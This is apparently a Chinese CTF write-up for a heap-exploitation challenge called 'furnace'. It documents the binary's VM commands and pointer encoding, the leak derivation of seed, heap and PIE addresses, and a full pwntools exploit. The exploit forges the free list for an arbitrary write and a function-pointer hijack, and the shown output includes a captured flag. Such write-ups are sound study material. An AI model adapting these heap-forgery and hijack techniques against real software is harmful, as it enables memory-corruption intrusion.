0x5288 dword_5288 # 淬炼计数
0x528C byte_528C # 验证通过标志
0x5290 byte_5290[8] # 'g' 每槽泄漏游标
0x52A0 unk_52A0[24*8] # 每槽 24 字节"工艺记录"(加密存放)
0x5360 byte_5360[8] # 槽位状态(0空/1投料/2淬炼完成/3待淬炼)
0x5380 qword_5380[8] # 槽位 → 节点指针
0x53C8 seed # AT_RANDOM 前 8 字节
0x53D0 自由链表头
翻译vm指令语义:
| *指令* | *功能* |
|---|---|
a |
找空槽,从自由链表弹节点(校验:node[0] == enc(node)^node[48]^seed,且仅当 node[56]==0xF4EE00000002 时校验;通过则 head = node[48]^enc48(node)^seed),清零 node[0..47],tag=0xA11CE0000001,状态=1 |
b |
read 写节点:slot+offset+len,off+len ≤ 状态2?56:48 —— *状态2可写 node[48](编码 next)与 node[0]* |
c |
从节点读:slot+offset+len,off+len ≤ 状态2?16:48 |
d |
淬炼:状态3(需 tag=A11CE)→ 写 tag=F4EE,node[48]=seed^head^enc48(node),推入链表,写 24 字节记录,node[i]=i^(seed>>3*(i&7)) (i=0..15,随后再次 sub_13EA 覆盖 node[0..7]),状态=2,dword_5288++;状态2 → *无 tag 校验再次推入链表并清槽*(>>11 编码,pop 时按 >>12 解码,会产生畸形指针) |
e |
状态 1→3 |
f |
清槽(状态2):状态=0、qword_5380[slot]=0 |
g |
逐字节输出 unk_52A0[24*slot + cursor](%02x),预算 96 字节 |
h |
化验:4 字节输入 == low32(seed) ^ low32(((u64(buf_[0:8]) ^ 2*seed) >> 12) * 0x7F4A7C15) 且 dword_5288>1 且 buf_[0]!=0 且 qword_5240!=0 → byte_528C=1 |
| 退出 | byte_528C && qword_5240 时调用 (seed ^ qword_5240)() —— 即解码后的函数指针 |
指针编码:enc(P) = 0x9E3779B97F4A7C15*(P>>12),enc48(P) = 0x9E3779B97F4A7C15*((P+48)>>12);sub_12ED() 会 openat(AT_FDCWD, buf_, 0) 并把文件内容 dump 到 stdout —— 这就是"通往车端机密的钥匙"。
泄漏并推导 seed / 堆 / PIE
a×5 弹空初始 5 节点(槽位 04);e+d依次淬炼槽位 04(槽位 0 淬炼时链表为空 → 记录第三项=0)。c读槽位 0 节点前 16 字节:*seed 低 29 位*藏在node[8..15] = i ^ (seed >> 3*(i&7))(node[0..7] 被第二次sub_13EA覆盖)。g泄漏槽位 0/1 的 24 字节记录(解密流0xA5,0xB6,...,0x2C共 24 字节,XOR 即得明文):
entry0 = [ seed^P1, seed^sub_12ED^enc(P1), 0 ]
entry1 = [ seed^P2, seed^sub_12ED^enc(P2), seed^P1^enc48(P2) ]
推导:
enc48(P2) = entry1[2] ^ entry0[0] → 逆黄金常量 → (P2+48)>>12
P2 低 12 位 = entry1[0] 低12位 ^ seed低12位 → P2 完整地址
seed = entry1[0] ^ P2
P1 = entry0[0] ^ seed
PIE base = entry0[1] ^ seed ^ enc(P1) - 0x12ED
伪造自由链表 → 任意写 → cat flag
b(槽位0,状态2)写P1[48] = seed ^ T ^ enc48(P1)、P1[0] = T ^ enc(P1) ^ enc48(P1)(同时满足a的校验)。a依次弹出:弹出 P1 后head = T;再a弹出 T 作为"节点"——T 的T[56] != F4EE时跳过校验,T[48] == 0时链表收尾干净——于是T被当作槽位节点,b即可向 T 任意写 ≤48 字节(state 1)。- 取
T1 = base+0x5240:qword_5240 = seed ^ sub_12ED(钥匙);槽位循环回收后再取T2 = base+0x51C0:buf_ = "/flag"。 h化验:按上述公式(注意xor rsi, cs:buf_是*内存操作数*,用的是 buf_ 的内容)算出 4 字节值 →byte_528C=1。- 发送 ```(0x60)退出 →
(seed ^ qword_5240)()=sub_12ED()→ 打开/flag并输出。
Exp
import sys
from pwn import *
GOLDEN = 0x9E3779B97F4A7C15
MASK = (1 << 64) - 1
INV_GOLDEN = pow(GOLDEN, -1, 1 << 64)
XKEY = bytes(((0xA5 + 0x11 * i) & 0xFF) for i in range(24))
SUB_12ED_OFF, OFF_BUF, OFF_Q5240 = 0x12ED, 0x51C0, 0x5240
context.log_level = 'info'
def enc(p): return (GOLDEN * (p >> 12)) & MASK
def enc48(p): return (GOLDEN * ((p + 48) >> 12)) & MASK
class Furnace:
def __init__(self, io): self.io = io
def rx(self, n): return self.io.recvn(n)
def cmd(self, c): self.io.send(bytes([c]))
def expect(self, s, what):
got = self.rx(len(s)); assert got == s, f"{what}: {got!r} want {s!r}"; return got
def feed(self):
self.cmd(0x61); r = self.rx(3)
assert r[0] == ord('i') and r[2] == ord('\n'), f"feed: {r!r}"
return r[1] - 0x30
def qstate(self, slot):
self.cmd(0x65); self.io.send(bytes([slot])); r = self.rx(4)
assert r.startswith(b's=') and r[3] == 0x0A, f"qstate: {r!r}"
return r[2] - 0x30
def quench(self, slot): self.cmd(0x64); self.io.send(bytes([slot])); self.expect(b'.\n', 'quench')
def clear(self, slot): self.cmd(0x66); self.io.send(bytes([slot])); self.expect(b'.\n', 'clear')
def wnode(self, slot, off, data):
self.cmd(0x62); self.io.send(bytes([slot, off, len(data)]) + data); self.expect(b'.\n', 'wnode')
def rnode(self, slot, off, n):
self.cmd(0x63); self.io.send(bytes([slot, off, n])); data = self.rx(n); self.expect(b'\n', 'rnode'); return data
def leak(self, slot, count):
out = b''
for _ in range(count):
self.cmd(0x67); self.io.send(bytes([slot])); out += self.rx(3)
return bytes(int(out[3*i:3*i+2], 16) for i in range(count))
def assay(self, val):
self.cmd(0x68); self.io.send(p32(val & 0xFFFFFFFF)); r = self.io.recvuntil(b'\n')
if r == b'ok\n': return True
assert r == b'x\n', f"assay: {r!r}"
return False
def exit_cmd(self): self.cmd(0x60)
def derive(entry0, entry1, fill):
a0, b0, c0 = u64(entry0[0:8]), u64(entry0[8:16]), u64(entry0[16:24])
a1, b1, c1 = u64(entry1[0:8]), u64(entry1[8:16]), u64(entry1[16:24])
assert c0 == 0, f"entry0 qword2 should be 0, got {c0:#x}"
sl29 = 0
for i in range(8, 16):
sl29 |= ((fill[i] ^ i) & 0xFF) << (3 * (i & 7))
sl29 &= 0x1FFFFFFF
r = (INV_GOLDEN * (c1 ^ a0)) & MASK
p2_low12 = (a1 ^ sl29) & 0xFFF
for cand in (r, r - 1):
p2 = ((cand << 12) | p2_low12) & MASK
s = (a1 ^ p2) & MASK
if (s & 0x1FFFFFFF) != sl29: continue
p1 = (a0 ^ s) & MASK
if p2 >= p1 or (p1 - p2) > 0x1000: continue
if (b0 ^ s ^ enc(p1)) != (b1 ^ s ^ enc(p2)): continue
base = ((b0 ^ s ^ enc(p1)) - SUB_12ED_OFF) & MASK
if base & 0xFFF: continue
if (s ^ p1 ^ enc48(p2)) & MASK != c1: continue
return s, p1, p2, base
return None
def run(io, flag_path):
f = Furnace(io)
assert f.rx(12) == b'furnace/10\n'
for _ in range(5): f.feed()
for s in range(5):
assert f.qstate(s) == 3; f.quench(s)
for s in (2, 3, 4): f.clear(s)
fill = f.rnode(0, 0, 16)
d0 = bytes(b ^ k for b, k in zip(f.leak(0, 24), XKEY))
d1 = bytes(b ^ k for b, k in zip(f.leak(1, 24), XKEY))
S, P1, P2, base = derive(d0, d1, fill)
log.success(f"S={S:#x} P1={P1:#x} P2={P2:#x} base={base:#x}")
q5240, buf = base + OFF_Q5240, base + OFF_BUF
f.wnode(0, 0, p64(q5240 ^ enc(P1) ^ enc48(P1)))
f.wnode(0, 48, p64(S ^ q5240 ^ enc48(P1)))
for want in (2, 3, 4, 5, 6, 7):
assert f.feed() == want
f.wnode(7, 0, p64(S ^ (base + SUB_12ED_OFF)))
for s in (2, 3, 4, 5, 6):
assert f.qstate(s) == 3; f.quench(s); f.clear(s)
f.wnode(0, 0, p64(buf ^ enc(P1) ^ enc48(P1)))
f.wnode(0, 48, p64(S ^ buf ^ enc48(P1)))
assert f.feed() == 2
assert f.feed() == 3
f.wnode(3, 0, flag_path)
content = u64(flag_path.ljust(8, b'\x00')[:8])
expected = (S & 0xFFFFFFFF) ^ (((((content ^ (2 * S)) >> 12) & 0xFFFFFFFF) * 0x7F4A7C15) & 0xFFFFFFFF)
assert f.assay(expected)
f.exit_cmd()
return io.recvall(timeout=3)
def main():
if '--local' in sys.argv:
make = lambda: process('./furnace'); paths = [b'flag']
else:
make = lambda: remote('192.168.18.21', 7777)
paths = [b'/flag', b'flag', b'./flag', b'flag.txt', b'/flag.txt']
for path in paths:
log.info(f"trying path {path!r}")
io = make()
try:
out = run(io, path)
if out.strip():
log.success(f"path {path!r}: {out!r}"); break
finally:
io.close()
if __name__ == '__main__':
main()
运行输出:
[+] S=0xba3235b4681d8090 P1=0x5642611a63e0 P2=0x5642611a6390 base=0x564260191000
[+] path b'/flag': b'flag{furn4c3_aii525sd_jut868bm_y1txrtvj_g2utpf}\n.\n'

浙公网安备 33010602011771号